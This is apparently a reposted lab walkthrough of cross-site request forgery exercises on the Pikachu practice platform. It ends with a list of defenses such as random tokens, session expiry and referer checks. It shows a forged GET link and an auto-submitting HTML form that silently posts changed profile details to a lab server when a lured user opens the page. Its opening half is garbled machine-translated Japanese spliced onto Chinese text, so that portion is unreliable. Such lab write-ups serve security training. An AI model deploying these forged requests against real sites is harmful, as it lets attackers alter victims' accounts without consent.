pikaqiu練習プラットフォーム(CSRF(クロスサイトリクエストフォージェリ))

CSRF(クロスサイトリクエストフォージェリ)

 

CSRF(クロスサイトリクエストフォージェリ)の概要

クロスサイトリクエストフォージェリ(この要求は通常のリンクである)「CSRF」、CSRF攻撃のシナリオで、攻撃者の缶偽のようにリクエストを参照して、クリックし、ターゲットユーザーをだます、この要求をユーザーがクリックすると、全体攻撃は完了ですA。だから、CSRF攻撃は、「ワンクリック」の攻撃になります。

 

CSRFのXSSの違いCSRFは、ユーザーの権限で攻撃を完了すると、攻撃者はユーザーの許可を取得し、ユーザーの許可に直接XSSを盗み、その後、被害を実装していませんでした。

 

 

CSRFの脆弱性ウェブサイトの存在を確認する方法:

1.(パスワードやその他の機密情報など)、ウェブサイトの重要な情報の操作(追加と削除)簡単に偽造かどうか。

例:管理者アカウントを変更するには、古いパスワードを確認する必要はありません

   修正機密情報については、安全なトークンの検証を使用していません

証明書が有効であることを確認してください2

たとえば、次のようにexitまたは近いブラウザが、クッキーがまだ有効であるが、そこには時間がありませんかセッションが期限切れ

 

 

A、CSRF(GET)

 

 

 

 

着陸後、あなたは、あなたの個人情報を修正する提出クリックし、取り込むことができます。

 

 

 

 

 

 

攻撃者は偽造リクエスト、クリックの状態で着陸を変更するための要求を取得するには、ユーザー情報を変更することができます。

 http://192.168.17.111 /pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add= 滄州I&Eメール=ルーシー%40pikachu.com&提出=提出

ユーザーがログインをクリックすると、あなたは、機密情報が変更されている見ることができます。

 

 

 

 

 

 

 

 

 

二、CSRF(POST)

 

 個人情報を変更した後、提出してキャプチャ。

 

 

 

 Post型的不能通过伪造url来进行攻击,跟xss里post型是一致的。攻击者搭一个页面,诱导用户点进来,当用户点击时会自动向存在csrf的服务器提交post请求来修改个人信息

 

编写一个post.html页面,将这个页面放在放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务

<html>

<head>

<script>

window.onload = function() {

  document.getElementById("postsubmit").click();

}         

</script>

</head>

<body>

<form method="post" action="http://192.168.27.156/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">

    <input id="sex" type="text" name="sex" value="girl" />

    <input id="phonenum" type="text" name="phonenum" value=" 123456" />

    <input id="add" type="text" name="add" value="beijing" />

    <input id="email" type="text" name="email" value="[email protected]" />

    <input id="postsubmit" type="submit" name="submit" value="submit" />

</form>

</body>

</html>

 

 诱导用户点击这个链接,就可以修改信息了

http://192.168.17.111/pikachu/doge_csrf/post.html

 

 

三、CSRF-token

CSRF的主要问题是敏感操作的链接容易被伪造,解决方法就是每次请求都增加一个随机码(长度足够,够随机),后台每次对这个随机码进行验证;

 

登录 、修改信息、提交、抓包;

 

 

 

 

 

 可以看到多出来一个token,这个就代表一个随机值,每次刷新出来的token值都是不一样的;

 

每次提交完访问的都是token_get_edit.php页面;

 

 

查看页面源码,会有一个隐藏的token值,并且也可以看到这个每次都有一个token值,再次刷新之后这个token值就会改变

 

 

 

 

 

防范措施

   1.对敏感信息的操作增加安全的token;

   (对关键操作增加token参数,token值必须随机,每次都不一样)

   2.安全的会话管理,避免会话被利用

  (不在客户端保存敏感信息,比如身份认证信息;

     测试直接关闭;

     设置会话过期机制,比如15分钟内无操作,则自动登录超时)

   3.对敏感信息的操作增加安全的验证码;

   (一般在登录时候,也可以在其他重要信息操作的表单<要考虑到可用性>)

   4.对敏感信息的操作实施安全的逻辑流程,

   (修改密码时,需要先校验旧密码;

     敏感信息的修改使用post,而不是get;

     通过http头部中的referer来限制页面)

 

おすすめ

転載: www.cnblogs.com/199904-04/p/12363988.html